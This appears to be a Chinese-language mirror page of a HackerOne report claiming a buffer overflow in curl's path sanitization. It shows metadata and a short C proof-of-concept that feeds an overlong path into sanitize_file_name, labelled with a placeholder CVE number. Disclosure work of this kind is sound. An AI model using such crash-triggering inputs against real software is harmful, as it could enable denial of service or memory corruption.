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地图 / Vulnerability Report: Buffer Overflow in Path Sanitization

Vulnerability Report: Buffer Overflow in Path Sanitization

内存破坏 / Unlabeled / #3804525

厂商
curl
严重程度
高危
赏金
—
弱点
Unlabeled
研究员
@newstuff321
披露日期
2026-06-16
资产
https://github.com/curl/curl
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(2026 字符中的一小部分)
Vulnerability Report: Buffer Overflow in Path Sanitization
原文中的代码
// Exploit for CVE-2024-XXXX-A
char malicious_path[PATH_MAX + 100] = "C:\\";
memset(malicious_path + 4, 'A', PATH_MAX + 96);
malicious_path[PATH_MAX + 99] = '\0';

char *sanitized;
sanitize_file_name(&sanitized, malicious_path, SANITIZE_ALLOW_PATH);

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 curl 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @newstuff321 · 版权归作者与 curl 所有

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